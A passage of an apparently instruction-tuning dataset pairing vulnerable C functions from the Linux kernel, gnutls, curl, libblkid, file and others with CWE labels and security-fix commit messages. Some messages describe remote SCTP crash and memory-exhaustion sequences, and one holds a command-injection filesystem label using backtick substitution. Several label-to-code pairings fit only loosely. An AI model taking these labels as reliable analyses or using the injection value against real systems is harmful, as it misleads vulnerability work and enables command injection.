SCTP_CMD_SET_SK_ERR,\n\t\t\t\tSCTP_ERROR(ECONNABORTED));\n\t\tsctp_add_cmd_sf(commands, SCTP_CMD_ASSOC_FAILED,\n\t\t\t\tSCTP_PERR(SCTP_ERROR_ASCONF_ACK));\n\t\tSCTP_INC_STATS(net, SCTP_MIB_ABORTEDS);\n\t\tSCTP_DEC_STATS(net, SCTP_MIB_CURRESTAB);\n\t\treturn SCTP_DISPOSITION_ABORT;\n\t}\n\n\tif ((rcvd_serial == sent_serial) && asoc->addip_last_asconf) {\n\t\tsctp_add_cmd_sf(commands, SCTP_CMD_TIMER_STOP,\n\t\t\t\tSCTP_TO(SCTP_EVENT_TIMEOUT_T4_RTO));\n\n\t\tif (!sctp_process_asconf_ack((struct sctp_association *)asoc,\n\t\t\t\t\t asconf_ack)) {\n\t\t\t/* Successfully processed ASCONF_ACK. We can\n\t\t\t * release the next asconf if we have one.\n\t\t\t */\n\t\t\tsctp_add_cmd_sf(commands, SCTP_CMD_SEND_NEXT_ASCONF,\n\t\t\t\t\tSCTP_NULL());\n\t\t\treturn SCTP_DISPOSITION_CONSUME;\n\t\t}\n\n\t\tabort = sctp_make_abort(asoc, asconf_ack,\n\t\t\t\t\tsizeof(sctp_errhdr_t));\n\t\tif (abort) {\n\t\t\tsctp_init_cause(abort, SCTP_ERROR_RSRC_LOW, 0);\n\t\t\tsctp_add_cmd_sf(commands, SCTP_CMD_REPLY,\n\t\t\t\t\tSCTP_CHUNK(abort));\n\t\t}\n\t\t/* We are going to ABORT, so we might as well stop\n\t\t * processing the rest of the chunks in the packet.\n\t\t */\n\t\tsctp_add_cmd_sf(commands, SCTP_CMD_DISCARD_PACKET, SCTP_NULL());\n\t\tsctp_add_cmd_sf(commands, SCTP_CMD_SET_SK_ERR,\n\t\t\t\tSCTP_ERROR(ECONNABORTED));\n\t\tsctp_add_cmd_sf(commands, SCTP_CMD_ASSOC_FAILED,\n\t\t\t\tSCTP_PERR(SCTP_ERROR_ASCONF_ACK));\n\t\tSCTP_INC_STATS(net, SCTP_MIB_ABORTEDS);\n\t\tSCTP_DEC_STATS(net, SCTP_MIB_CURRESTAB);\n\t\treturn SCTP_DISPOSITION_ABORT;\n\t}\n\n\treturn SCTP_DISPOSITION_DISCARD;\n} ; Sample JSON Format Confermily Expected output: \"examples\" => \"cwe\": \"xxx\"; \"message\": \"xxx\"\n [/INST] 'cwe': ['CWE-20', 'CWE-399'], 'message': 'net: sctp: fix skb_over_panic when receiving malformed ASCONF chunks\n\nCommit 6f4c618ddb0 (\"SCTP : Add paramters validity check for\nASCONF chunk\") added basic verification of ASCONF chunks, however,\nit is still possible to remotely crash a server by sending a\nspecial crafted ASCONF chunk, even up to pre 2.6.12 kernels:\n\nskb_over_panic: text:ffffffffa01ea1c3 len:31056 put:30768\n head:ffff88011bd81800 data:ffff88011bd81800 tail:0x7950\n end:0x440 dev:\n ------------[ cut here ]------------\nkernel BUG at net/core/skbuff.c:129!\n[...]\nCall Trace:\n \n [] skb_put+0x5c/0x70\n [] sctp_addto_chunk+0x63/0xd0 [sctp]\n [] sctp_process_asconf+0x1af/0x540 [sctp]\n [] ? _read_unlock_bh+0x15/0x20\n [] sctp_sf_do_asconf+0x168/0x240 [sctp]\n [] sctp_do_sm+0x71/0x1210 [sctp]\n [] ? fib_rules_lookup+0xad/0xf0\n [] ? sctp_cmp_addr_exact+0x32/0x40 [sctp]\n [] sctp_assoc_bh_rcv+0xd3/0x180 [sctp]\n [] sctp_inq_push+0x56/0x80 [sctp]\n [] sctp_rcv+0x982/0xa10 [sctp]\n [] ? ipt_local_in_hook+0x23/0x28 [iptable_filter]\n [] ? nf_iterate+0x69/0xb0\n [] ? ip_local_deliver_finish+0x0/0x2d0\n [] ? nf_hook_slow+0x76/0x120\n [] ? ip_local_deliver_finish+0x0/0x2d0\n [] ip_local_deliver_finish+0xdd/0x2d0\n [] ip_local_deliver+0x98/0xa0\n [] ip_rcv_finish+0x12d/0x440\n [] ip_rcv+0x275/0x350\n [] __netif_receive_skb+0x4ab/0x750\n [] netif_receive_skb+0x58/0x60\n\nThis can be triggered e.g., through a simple scripted nmap\nconnection scan injecting the chunk after the handshake, for\nexample, ...\n\n -------------- INIT[ASCONF; ASCONF_ACK] ------------->\n <----------- INIT-ACK[ASCONF; ASCONF_ACK] ------------\n -------------------- COOKIE-ECHO -------------------->\n <-------------------- COOKIE-ACK ---------------------\n ------------------ ASCONF; UNKNOWN ------------------>\n\n... where ASCONF chunk of length 280 contains 2 parameters ...\n\n 1) Add IP address parameter (param length: 16)\n 2) Add/del IP address parameter (param length: 255)\n\n... followed by an UNKNOWN chunk of e.g. 4 bytes. Here, the\nAddress Parameter in the ASCONF chunk is even missing, too.\nThis is just an example and similarly-crafted ASCONF chunks\ncould be used just as well.\n\nThe ASCONF chunk passes through sctp_verify_asconf() as all\nparameters passed sanity checks, and after walking, we ended\nup successfully at the chunk end boundary, and thus may invoke\nsctp_process_asconf(). Parameter walking is done with\nWORD_ROUND() to take padding into account.\n\nIn sctp_process_asconf()'s TLV processing, we may fail in\nsctp_process_asconf_param() e.g., due to removal of the IP\naddress that is also the source address of the packet containing\nthe ASCONF chunk, and thus we need to add all TLVs after the\nfailure to our ASCONF response to remote via helper function\nsctp_add_asconf_response(), which basically invokes a\nsctp_addto_chunk() adding the error parameters to the given\nskb.\n\nWhen walking to the next parameter this time, we proceed\nwith ...\n\n length = ntohs(asconf_param->param_hdr.length);\n asconf_param = (void *)asconf_param + length;\n\n... instead of the WORD_ROUND()'ed length, thus resulting here\nin an off-by-one that leads to reading the follow-up garbage\nparameter length of 12336, and thus throwing an skb_over_panic\nfor the reply when trying to sctp_addto_chunk() next time,\nwhich implicitly calls the skb_put() with that length.\n\nFix it by using sctp_walk_params() [ which is also used in\nINIT parameter processing ] macro in the verification *and*\nin ASCONF processing: it will make sure we don't spill over,\nthat we walk parameters WORD_ROUND()'ed. Moreover, we're being\nmore defensive and guard against unknown parameter types and\nmissized addresses.\n\nJoint work with Vlad Yasevich.\n\nFixes: b896b82be4ae (\"[SCTP] ADDIP: Support for processing incoming ASCONF_ACK chunks.\")\nSigned-off-by: Daniel Borkmann \nSigned-off-by: Vlad Yasevich \nAcked-by: Neil Horman \nSigned-off-by: David S. Miller '" + }, + { + "text": "[INST] Given the following code containing errors, provide Common Weakness Enumeration (CWE) identifiers and corresponding messages in JSON format. Each identified weakness should have a unique entry in the JSON array.\n Code: _gnutls_server_select_suite(gnutls_session_t session, uint8_t * data,\n\t\t\t unsigned int datalen)\n{\n\tint ret;\n\tunsigned int i, j, cipher_suites_size;\n\tsize_t pk_algos_size;\n\tuint8_t cipher_suites[MAX_CIPHERSUITE_SIZE];\n\tint retval;\n\tgnutls_pk_algorithm_t pk_algos[MAX_ALGOS];\t/* will hold the pk algorithms\n\t\t\t\t\t\t\t * supported by the peer.\n\t\t\t\t\t\t\t */\n\n\t/* First, check for safe renegotiation SCSV.\n\t */\n\tif (session->internals.priorities.sr != SR_DISABLED) {\n\t\tunsigned int offset;\n\n\t\tfor (offset = 0; offset < datalen; offset += 2) {\n\t\t\t/* TLS_RENEGO_PROTECTION_REQUEST = { 0x00, 0xff } */\n\t\t\tif (data[offset] ==\n\t\t\t GNUTLS_RENEGO_PROTECTION_REQUEST_MAJOR\n\t\t\t && data[offset + 1] ==\n\t\t\t GNUTLS_RENEGO_PROTECTION_REQUEST_MINOR) {\n\t\t\t\t_gnutls_handshake_log\n\t\t\t\t (\"HSK[%p]: Received safe renegotiation CS\\n\",\n\t\t\t\t session);\n\t\t\t\tretval = _gnutls_ext_sr_recv_cs(session);\n\t\t\t\tif (retval < 0) {\n\t\t\t\t\tgnutls_assert();\n\t\t\t\t\treturn retval;\n\t\t\t\t}\n\t\t\t\tbreak;\n\t\t\t}\n\t\t}\n\t}\n\n\tpk_algos_size = MAX_ALGOS;\n\tret =\n\t server_find_pk_algos_in_ciphersuites(data, datalen, pk_algos,\n\t\t\t\t\t\t &pk_algos_size);\n\tif (ret < 0)\n\t\treturn gnutls_assert_val(ret);\n\n\tret =\n\t _gnutls_supported_ciphersuites(session, cipher_suites,\n\t\t\t\t\t sizeof(cipher_suites));\n\tif (ret < 0)\n\t\treturn gnutls_assert_val(ret);\n\n\tcipher_suites_size = ret;\n\n\t/* Here we remove any ciphersuite that does not conform\n\t * the certificate requested, or to the\n\t * authentication requested (e.g. SRP).\n\t */\n\tret =\n\t _gnutls_remove_unwanted_ciphersuites(session, cipher_suites,\n\t\t\t\t\t\t cipher_suites_size,\n\t\t\t\t\t\t pk_algos, pk_algos_size);\n\tif (ret <= 0) {\n\t\tgnutls_assert();\n\t\tif (ret < 0)\n\t\t\treturn ret;\n\t\telse\n\t\t\treturn GNUTLS_E_UNKNOWN_CIPHER_SUITE;\n\t}\n\n\tcipher_suites_size = ret;\n\n\t/* Data length should be zero mod 2 since\n\t * every ciphersuite is 2 bytes. (this check is needed\n\t * see below).\n\t */\n\tif (datalen % 2 != 0) {\n\t\tgnutls_assert();\n\t\treturn GNUTLS_E_UNEXPECTED_PACKET_LENGTH;\n\t}\n\n\tmemset(session->security_parameters.cipher_suite, 0, 2);\n\n\tretval = GNUTLS_E_UNKNOWN_CIPHER_SUITE;\n\n\t_gnutls_handshake_log\n\t (\"HSK[%p]: Requested cipher suites[size: %d]: \\n\", session,\n\t (int) datalen);\n\n\tif (session->internals.priorities.server_precedence == 0) {\n\t\tfor (j = 0; j < datalen; j += 2) {\n\t\t\t_gnutls_handshake_log(\"\\t0x%.2x, 0x%.2x %s\\n\",\n\t\t\t\t\t data[j], data[j + 1],\n\t\t\t\t\t _gnutls_cipher_suite_get_name\n\t\t\t\t\t (&data[j]));\n\t\t\tfor (i = 0; i < cipher_suites_size; i += 2) {\n\t\t\t\tif (memcmp(&cipher_suites[i], &data[j], 2)\n\t\t\t\t == 0) {\n\t\t\t\t\t_gnutls_handshake_log\n\t\t\t\t\t (\"HSK[%p]: Selected cipher suite: %s\\n\",\n\t\t\t\t\t session,\n\t\t\t\t\t _gnutls_cipher_suite_get_name\n\t\t\t\t\t (&data[j]));\n\t\t\t\t\tmemcpy(session->\n\t\t\t\t\t security_parameters.\n\t\t\t\t\t cipher_suite,\n\t\t\t\t\t &cipher_suites[i], 2);\n\t\t\t\t\t_gnutls_epoch_set_cipher_suite\n\t\t\t\t\t (session, EPOCH_NEXT,\n\t\t\t\t\t session->security_parameters.\n\t\t\t\t\t cipher_suite);\n\n\n\t\t\t\t\tretval = 0;\n\t\t\t\t\tgoto finish;\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\t} else {\t\t/* server selects */\n\n\t\tfor (i = 0; i < cipher_suites_size; i += 2) {\n\t\t\tfor (j = 0; j < datalen; j += 2) {\n\t\t\t\tif (memcmp(&cipher_suites[i], &data[j], 2)\n\t\t\t\t == 0) {\n\t\t\t\t\t_gnutls_handshake_log\n\t\t\t\t\t (\"HSK[%p]: Selected cipher suite: %s\\n\",\n\t\t\t\t\t session,\n\t\t\t\t\t _gnutls_cipher_suite_get_name\n\t\t\t\t\t (&data[j]));\n\t\t\t\t\tmemcpy(session->\n\t\t\t\t\t security_parameters.\n\t\t\t\t\t cipher_suite,\n\t\t\t\t\t &cipher_suites[i], 2);\n\t\t\t\t\t_gnutls_epoch_set_cipher_suite\n\t\t\t\t\t (session, EPOCH_NEXT,\n\t\t\t\t\t session->security_parameters.\n\t\t\t\t\t cipher_suite);\n\n\n\t\t\t\t\tretval = 0;\n\t\t\t\t\tgoto finish;\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\t}\n finish:\n\n\tif (retval != 0) {\n\t\tgnutls_assert();\n\t\treturn retval;\n\t}\n\n\t/* check if the credentials (username, public key etc.) are ok\n\t */\n\tif (_gnutls_get_kx_cred\n\t (session,\n\t _gnutls_cipher_suite_get_kx_algo(session->security_parameters.\n\t\t\t\t\t cipher_suite)) == NULL) {\n\t\tgnutls_assert();\n\t\treturn GNUTLS_E_INSUFFICIENT_CREDENTIALS;\n\t}\n\n\n\t/* set the mod_auth_st to the appropriate struct\n\t * according to the KX algorithm. This is needed since all the\n\t * handshake functions are read from there;\n\t */\n\tsession->internals.auth_struct =\n\t _gnutls_kx_auth_struct(_gnutls_cipher_suite_get_kx_algo\n\t\t\t\t (session->security_parameters.\n\t\t\t\t cipher_suite));\n\tif (session->internals.auth_struct == NULL) {\n\n\t\t_gnutls_handshake_log\n\t\t (\"HSK[%p]: Cannot find the appropriate handler for the KX algorithm\\n\",\n\t\t session);\n\t\tgnutls_assert();\n\t\treturn GNUTLS_E_INTERNAL_ERROR;\n\t}\n\n\treturn 0;\n\n} ; Sample JSON Format Confermily Expected output: \"examples\" => \"cwe\": \"xxx\"; \"message\": \"xxx\"\n [/INST] 'cwe': ['CWE-310'], 'message': 'handshake: check for TLS_FALLBACK_SCSV\n\nIf TLS_FALLBACK_SCSV was sent by the client during the handshake, and\nthe advertised protocol version is lower than GNUTLS_TLS_VERSION_MAX,\nsend the \"Inappropriate fallback\" fatal alert and abort the handshake.\n\nThis mechanism was defined in RFC7507.'" + }, + { + "text": "[INST] Given the following code containing errors, provide Common Weakness Enumeration (CWE) identifiers and corresponding messages in JSON format. Each identified weakness should have a unique entry in the JSON array.\n Code: CURLcode Curl_dupset(struct SessionHandle *dst, struct SessionHandle *src)\n{\n CURLcode result = CURLE_OK;\n enum dupstring i;\n\n /* Copy src->set into dst->set first, then deal with the strings\n afterwards */\n dst->set = src->set;\n\n /* clear all string pointers first */\n memset(dst->set.str, 0, STRING_LAST * sizeof(char *));\n\n /* duplicate all strings */\n for(i=(enum dupstring)0; i< STRING_LAST; i++) {\n result = setstropt(&dst->set.str[i], src->set.str[i]);\n if(result)\n break;\n }\n\n /* If a failure occurred, freeing has to be performed externally. */\n return result;\n} ; Sample JSON Format Confermily Expected output: \"examples\" => \"cwe\": \"xxx\"; \"message\": \"xxx\"\n [/INST] 'cwe': ['CWE-200'], 'message': 'curl_easy_duphandle: CURLOPT_COPYPOSTFIELDS read out of bounds\n\nWhen duplicating a handle, the data to post was duplicated using\nstrdup() when it could be binary and contain zeroes and it was not even\nzero terminated! This caused read out of bounds crashes/segfaults.\n\nSince the lib/strdup.c file no longer is easily shared with the curl\ntool with this change, it now uses its own version instead.\n\nBug: http://curl.haxx.se/docs/adv_20141105.html\nCVE: CVE-2014-3707\nReported-By: Symeon Paraschoudis'" + }, + { + "text": "[INST] Given the following code containing errors, provide Common Weakness Enumeration (CWE) identifiers and corresponding messages in JSON format. Each identified weakness should have a unique entry in the JSON array.\n Code: sctp_chunk_length_valid(struct sctp_chunk *chunk,\n\t\t\t __u16 required_length)\n{\n\t__u16 chunk_length = ntohs(chunk->chunk_hdr->length);\n\n\tif (unlikely(chunk_length < required_length))\n\t\treturn 0;\n\n\treturn 1;\n} ; Sample JSON Format Confermily Expected output: \"examples\" => \"cwe\": \"xxx\"; \"message\": \"xxx\"\n [/INST] 'cwe': ['CWE-399'], 'message': 'net: sctp: fix remote memory pressure from excessive queueing\n\nThis scenario is not limited to ASCONF, just taken as one\nexample triggering the issue. When receiving ASCONF probes\nin the form of ...\n\n -------------- INIT[ASCONF; ASCONF_ACK] ------------->\n <----------- INIT-ACK[ASCONF; ASCONF_ACK] ------------\n -------------------- COOKIE-ECHO -------------------->\n <-------------------- COOKIE-ACK ---------------------\n ---- ASCONF_a; [ASCONF_b; ...; ASCONF_n;] JUNK ------>\n [...]\n ---- ASCONF_m; [ASCONF_o; ...; ASCONF_z;] JUNK ------>\n\n... where ASCONF_a, ASCONF_b, ..., ASCONF_z are good-formed\nASCONFs and have increasing serial numbers, we process such\nASCONF chunk(s) marked with !end_of_packet and !singleton,\nsince we have not yet reached the SCTP packet end. SCTP does\nonly do verification on a chunk by chunk basis, as an SCTP\npacket is nothing more than just a container of a stream of\nchunks which it eats up one by one.\n\nWe could run into the case that we receive a packet with a\nmalformed tail, above marked as trailing JUNK. All previous\nchunks are here goodformed, so the stack will eat up all\nprevious chunks up to this point. In case JUNK does not fit\ninto a chunk header and there are no more other chunks in\nthe input queue, or in case JUNK contains a garbage chunk\nheader, but the encoded chunk length would exceed the skb\ntail, or we came here from an entirely different scenario\nand the chunk has pdiscard=1 mark (without having had a flush\npoint), it will happen, that we will excessively queue up\nthe association's output queue (a correct final chunk may\nthen turn it into a response flood when flushing the\nqueue ;)): I ran a simple script with incremental ASCONF\nserial numbers and could see the server side consuming\nexcessive amount of RAM [before/after: up to 2GB and more].\n\nThe issue at heart is that the chunk train basically ends\nwith !end_of_packet and !singleton markers and since commit\n2e3216cd54b1 (\"sctp: Follow security requirement of responding\nwith 1 packet\") therefore preventing an output queue flush\npoint in sctp_do_sm() -> sctp_cmd_interpreter() on the input\nchunk (chunk = event_arg) even though local_cork is set,\nbut its precedence has changed since then. In the normal\ncase, the last chunk with end_of_packet=1 would trigger the\nqueue flush to accommodate possible outgoing bundling.\n\nIn the input queue, sctp_inq_pop() seems to do the right thing\nin terms of discarding invalid chunks. So, above JUNK will\nnot enter the state machine and instead be released and exit\nthe sctp_assoc_bh_rcv() chunk processing loop. It's simply\nthe flush point being missing at loop exit. Adding a try-flush\napproach on the output queue might not work as the underlying\ninfrastructure might be long gone at this point due to the\nside-effect interpreter run.\n\nOne possibility, albeit a bit of a kludge, would be to defer\ninvalid chunk freeing into the state machine in order to\npossibly trigger packet discards and thus indirectly a queue\nflush on error. It would surely be better to discard chunks\nas in the current, perhaps better controlled environment, but\ngoing back and forth, it's simply architecturally not possible.\nI tried various trailing JUNK attack cases and it seems to\nlook good now.\n\nJoint work with Vlad Yasevich.\n\nFixes: 2e3216cd54b1 (\"sctp: Follow security requirement of responding with 1 packet\")\nSigned-off-by: Daniel Borkmann \nSigned-off-by: Vlad Yasevich \nSigned-off-by: David S. Miller '" + }, + { + "text": "[INST] Given the following code containing errors, provide Common Weakness Enumeration (CWE) identifiers and corresponding messages in JSON format. Each identified weakness should have a unique entry in the JSON array.\n Code: int net_get(int s, void *arg, int *len)\n{\n\tstruct net_hdr nh;\n\tint plen;\n\n\tif (net_read_exact(s, &nh, sizeof(nh)) == -1)\n {\n\t\treturn -1;\n }\n\n\tplen = ntohl(nh.nh_len);\n\tif (!(plen <= *len))\n\t\tprintf(\"PLEN %d type %d len %d\\n\",\n\t\t\tplen, nh.nh_type, *len);\n\tassert(plen <= *len); /* XXX */\n\n\t*len = plen;\n\tif ((*len) && (net_read_exact(s, arg, *len) == -1))\n {\n return -1;\n }\n\n\treturn nh.nh_type;\n} ; Sample JSON Format Confermily Expected output: \"examples\" => \"cwe\": \"xxx\"; \"message\": \"xxx\"\n [/INST] 'cwe': ['CWE-20', 'CWE-787'], 'message': 'OSdep: Fixed segmentation fault that happens with a malicious server sending a negative length (Closes #16 on GitHub).\n\ngit-svn-id: http://svn.aircrack-ng.org/trunk@2419 28c6078b-6c39-48e3-add9-af49d547ecab'" + }, + { + "text": "[INST] Given the following code containing errors, provide Common Weakness Enumeration (CWE) identifiers and corresponding messages in JSON format. Each identified weakness should have a unique entry in the JSON array.\n Code: static int handle_emulation_failure(struct kvm_vcpu *vcpu)\n{\n\t++vcpu->stat.insn_emulation_fail;\n\ttrace_kvm_emulate_insn_failed(vcpu);\n\tvcpu->run->exit_reason = KVM_EXIT_INTERNAL_ERROR;\n\tvcpu->run->internal.suberror = KVM_INTERNAL_ERROR_EMULATION;\n\tvcpu->run->internal.ndata = 0;\n\tkvm_queue_exception(vcpu, UD_VECTOR);\n\treturn EMULATE_FAIL;\n} ; Sample JSON Format Confermily Expected output: \"examples\" => \"cwe\": \"xxx\"; \"message\": \"xxx\"\n [/INST] 'cwe': ['CWE-362', 'CWE-401'], 'message': 'KVM: X86: Don't report L2 emulation failures to user-space\n\nThis patch prevents that emulation failures which result\nfrom emulating an instruction for an L2-Guest results in\nbeing reported to userspace.\nWithout this patch a malicious L2-Guest would be able to\nkill the L1 by triggering a race-condition between an vmexit\nand the instruction emulator.\nWith this patch the L2 will most likely only kill itself in\nthis situation.\n\nSigned-off-by: Joerg Roedel \nSigned-off-by: Marcelo Tosatti '" + }, + { + "text": "[INST] Given the following code containing errors, provide Common Weakness Enumeration (CWE) identifiers and corresponding messages in JSON format. Each identified weakness should have a unique entry in the JSON array.\n Code: static int parse_token(char **name, char **value, char **cp)\n{\n\tchar *end;\n\n\tif (!name || !value || !cp)\n\t\treturn -BLKID_ERR_PARAM;\n\n\tif (!(*value = strchr(*cp, '=')))\n\t\treturn 0;\n\n\t**value = '\\0';\n\t*name = strip_line(*cp);\n\t*value = skip_over_blank(*value + 1);\n\n\tif (**value == '\"') {\n\t\tend = strchr(*value + 1, '\"');\n\t\tif (!end) {\n\t\t\tDBG(READ, ul_debug(\"unbalanced quotes at: %s\", *value));\n\t\t\t*cp = *value;\n\t\t\treturn -BLKID_ERR_CACHE;\n\t\t}\n\t\t(*value)++;\n\t\t*end = '\\0';\n\t\tend++;\n\t} else {\n\t\tend = skip_over_word(*value);\n\t\tif (*end) {\n\t\t\t*end = '\\0';\n\t\t\tend++;\n\t\t}\n\t}\n\t*cp = end;\n\n\treturn 1;\n} ; Sample JSON Format Confermily Expected output: \"examples\" => \"cwe\": \"xxx\"; \"message\": \"xxx\"\n [/INST] 'cwe': ['CWE-77'], 'message': 'libblkid: care about unsafe chars in cache\n\nThe high-level libblkid API uses /run/blkid/blkid.tab cache to\nstore probing results. The cache format is\n\n devname\n\nand unfortunately the cache code does not escape quotation marks:\n\n # mkfs.ext4 -L 'AAA\"BBB'\n\n # cat /run/blkid/blkid.tab\n ...\n /dev/sdb1\n\nsuch string is later incorrectly parsed and blkid(8) returns\nnonsenses. And for use-cases like\n\n # eval $(blkid -o export /dev/sdb1)\n\nit's also insecure.\n\nNote that mount, udevd and blkid -p are based on low-level libblkid\nAPI, it bypass the cache and directly read data from the devices.\n\nThe current udevd upstream does not depend on blkid(8) output at all,\nit's directly linked with the library and all unsafe chars are encoded by\n\\x notation.\n\n # mkfs.ext4 -L 'X\"`/tmp/foo` \"' /dev/sdb1\n # udevadm info --export-db | grep LABEL\n ...\n E: ID_FS_LABEL=X__/tmp/foo___\n E: ID_FS_LABEL_ENC=X\\x22\\x60\\x2ftmp\\x2ffoo\\x60\\x20\\x22\n\nSigned-off-by: Karel Zak '" + }, + { + "text": "[INST] Given the following code containing errors, provide Common Weakness Enumeration (CWE) identifiers and corresponding messages in JSON format. Each identified weakness should have a unique entry in the JSON array.\n Code: file_ms_alloc(int flags)\n{\n\tstruct magic_set *ms;\n\tsize_t i, len;\n\n\tif ((ms = CAST(struct magic_set *, calloc((size_t)1,\n\t sizeof(struct magic_set)))) == NULL)\n\t\treturn NULL;\n\n\tif (magic_setflags(ms, flags) == -1) {\n\t\terrno = EINVAL;\n\t\tgoto free;\n\t}\n\n\tms->o.buf = ms->o.pbuf = NULL;\n\tlen = (ms->c.len = 10) * sizeof(*ms->c.li);\n\n\tif ((ms->c.li = CAST(struct level_info *, malloc(len))) == NULL)\n\t\tgoto free;\n\n\tms->event_flags = 0;\n\tms->error = -1;\n\tfor (i = 0; i < MAGIC_SETS; i++)\n\t\tms->mlist[i] = NULL;\n\tms->file = \"unknown\";\n\tms->line = 0;\n\treturn ms;\nfree:\n\tfree(ms);\n\treturn NULL;\n} ; Sample JSON Format Confermily Expected output: \"examples\" => \"cwe\": \"xxx\"; \"message\": \"xxx\"\n [/INST] 'cwe': ['CWE-399'], 'message': 'bump recursion to 15, and allow it to be set from the command line.'" + }, + { + "text": "[INST] Given the following code containing errors, provide Common Weakness Enumeration (CWE) identifiers and corresponding messages in JSON format. Each identified weakness should have a unique entry in the JSON array.\n Code: magic_getparam(struct magic_set *ms, int param, void *val)\n{\n\tswitch (param) {\n\tcase MAGIC_PARAM_INDIR_MAX:\n\t\t*(size_t *)val = ms->indir_max;\n\t\treturn 0;\n\tcase MAGIC_PARAM_NAME_MAX:\n\t\t*(size_t *)val = ms->name_max;\n\t\treturn 0;\n\tcase MAGIC_PARAM_ELF_PHNUM_MAX:\n\t\t*(size_t *)val = ms->elf_phnum_max;\n\t\treturn 0;\n\tcase MAGIC_PARAM_ELF_SHNUM_MAX:\n\t\t*(size_t *)val = ms->elf_shnum_max;\n\t\treturn 0;\n\tdefault:\n\t\terrno = EINVAL;\n\t\treturn -1;\n\t}\n} ; Sample JSON Format Confermily Expected output: \"examples\" => \"cwe\": \"xxx\"; \"message\": \"xxx\"\n [/INST] 'cwe': ['CWE-399'], 'message': '- Add a limit to the number of ELF notes processed (Suggested by Alexander\n Cherepanov)\n- Restructure ELF note printing so that we don't print the same message\n multiple times on repeated notes of the same kind.'" + }, + { + "text": "[INST] Given the following code containing errors, provide Common Weakness Enumeration (CWE) identifiers and corresponding messages in JSON format. Each identified weakness should have a unique entry in the JSON array.\n Code: donote(struct magic_set *ms, void *vbuf, size_t offset, size_t size,\n int clazz, int swap, size_t align, int *flags, uint16_t *notecount)\n{\n\tElf32_Nhdr nh32;\n\tElf64_Nhdr nh64;\n\tsize_t noff, doff;\n\tuint32_t namesz, descsz;\n\tunsigned char *nbuf = CAST(unsigned char *, vbuf);\n\n\tif (*notecount == 0)\n\t\treturn 0;\n\t--*notecount;\n\n\tif (xnh_sizeof + offset > size) {\n\t\t/*\n\t\t * We're out of note headers.\n\t\t */\n\t\treturn xnh_sizeof + offset;\n\t}\n\n\t(void)memcpy(xnh_addr, &nbuf[offset], xnh_sizeof);\n\toffset += xnh_sizeof;\n\n\tnamesz = xnh_namesz;\n\tdescsz = xnh_descsz;\n\tif ((namesz == 0) && (descsz == 0)) {\n\t\t/*\n\t\t * We're out of note headers.\n\t\t */\n\t\treturn (offset >= size) ? offset : size;\n\t}\n\n\tif (namesz & 0x80000000) {\n\t (void)file_printf(ms, \", bad note name size 0x%lx\",\n\t\t(unsigned long)namesz);\n\t return 0;\n\t}\n\n\tif (descsz & 0x80000000) {\n\t (void)file_printf(ms, \", bad note description size 0x%lx\",\n\t\t(unsigned long)descsz);\n\t return 0;\n\t}\n\n\tnoff = offset;\n\tdoff = ELF_ALIGN(offset + namesz);\n\n\tif (offset + namesz > size) {\n\t\t/*\n\t\t * We're past the end of the buffer.\n\t\t */\n\t\treturn doff;\n\t}\n\n\toffset = ELF_ALIGN(doff + descsz);\n\tif (doff + descsz > size) {\n\t\t/*\n\t\t * We're past the end of the buffer.\n\t\t */\n\t\treturn (offset >= size) ? offset : size;\n\t}\n\n\tif ((*flags & FLAGS_DID_OS_NOTE) == 0) {\n\t\tif (do_os_note(ms, nbuf, xnh_type, swap,\n\t\t namesz, descsz, noff, doff, flags))\n\t\t\treturn size;\n\t}\n\n\tif ((*flags & FLAGS_DID_BUILD_ID) == 0) {\n\t\tif (do_bid_note(ms, nbuf, xnh_type, swap,\n\t\t namesz, descsz, noff, doff, flags))\n\t\t\treturn size;\n\t}\n\t\t\n\tif ((*flags & FLAGS_DID_NETBSD_PAX) == 0) {\n\t\tif (do_pax_note(ms, nbuf, xnh_type, swap,\n\t\t namesz, descsz, noff, doff, flags))\n\t\t\treturn size;\n\t}\n\n\tif ((*flags & FLAGS_DID_CORE) == 0) {\n\t\tif (do_core_note(ms, nbuf, xnh_type, swap,\n\t\t namesz, descsz, noff, doff, flags, size, clazz))\n\t\t\treturn size;\n\t}\n\n\tif (namesz == 7 && strcmp((char *)&nbuf[noff], \"NetBSD\") == 0) {\n\t\tswitch (xnh_type) {\n\t \tcase NT_NETBSD_VERSION:\n\t\t\treturn size;\n\t\tcase NT_NETBSD_MARCH:\n\t\t\tif (*flags & FLAGS_DID_NETBSD_MARCH)\n\t\t\t\treturn size;\n\t\t\tif (file_printf(ms, \", compiled for: %.*s\", (int)descsz,\n\t\t\t (const char *)&nbuf[doff]) == -1)\n\t\t\t\treturn size;\n\t\t\tbreak;\n\t\tcase NT_NETBSD_CMODEL:\n\t\t\tif (*flags & FLAGS_DID_NETBSD_CMODEL)\n\t\t\t\treturn size;\n\t\t\tif (file_printf(ms, \", compiler model: %.*s\",\n\t\t\t (int)descsz, (const char *)&nbuf[doff]) == -1)\n\t\t\t\treturn size;\n\t\t\tbreak;\n\t\tdefault:\n\t\t\tif (*flags & FLAGS_DID_NETBSD_UNKNOWN)\n\t\t\t\treturn size;\n\t\t\tif (file_printf(ms, \", note=%u\", xnh_type) == -1)\n\t\t\t\treturn size;\n\t\t\tbreak;\n\t\t}\n\t\treturn size;\n\t}\n\n\treturn offset;\n} ; Sample JSON Format Confermily Expected output: \"examples\" => \"cwe\": \"xxx\"; \"message\": \"xxx\"\n [/INST] 'cwe': ['CWE-399'], 'message': 'Limit string printing to 100 chars, and add flags I forgot in the previous\ncommit.'" + }, + { + "text": "[INST] Given the following code containing errors, provide Common Weakness Enumeration (CWE) identifiers and corresponding messages in JSON format. Each identified weakness should have a unique entry in the JSON array.\n Code: static int jpc_dec_process_sot(jpc_dec_t *dec, jpc_ms_t *ms)\n{\n\tjpc_dec_tile_t *tile;\n\tjpc_sot_t *sot = &ms->parms.sot;\n\tjas_image_cmptparm_t *compinfos;\n\tjas_image_cmptparm_t *compinfo;\n\tjpc_dec_cmpt_t *cmpt;\n\tint cmptno;\n\n\tif (dec->state == JPC_MH) {\n\n\t\tcompinfos = jas_malloc(dec->numcomps * sizeof(jas_image_cmptparm_t));\n\t\tassert(compinfos);\n\t\tfor (cmptno = 0, cmpt = dec->cmpts, compinfo = compinfos;\n\t\t cmptno < dec->numcomps; ++cmptno, ++cmpt, ++compinfo) {\n\t\t\tcompinfo->tlx = 0;\n\t\t\tcompinfo->tly = 0;\n\t\t\tcompinfo->prec = cmpt->prec;\n\t\t\tcompinfo->sgnd = cmpt->sgnd;\n\t\t\tcompinfo->width = 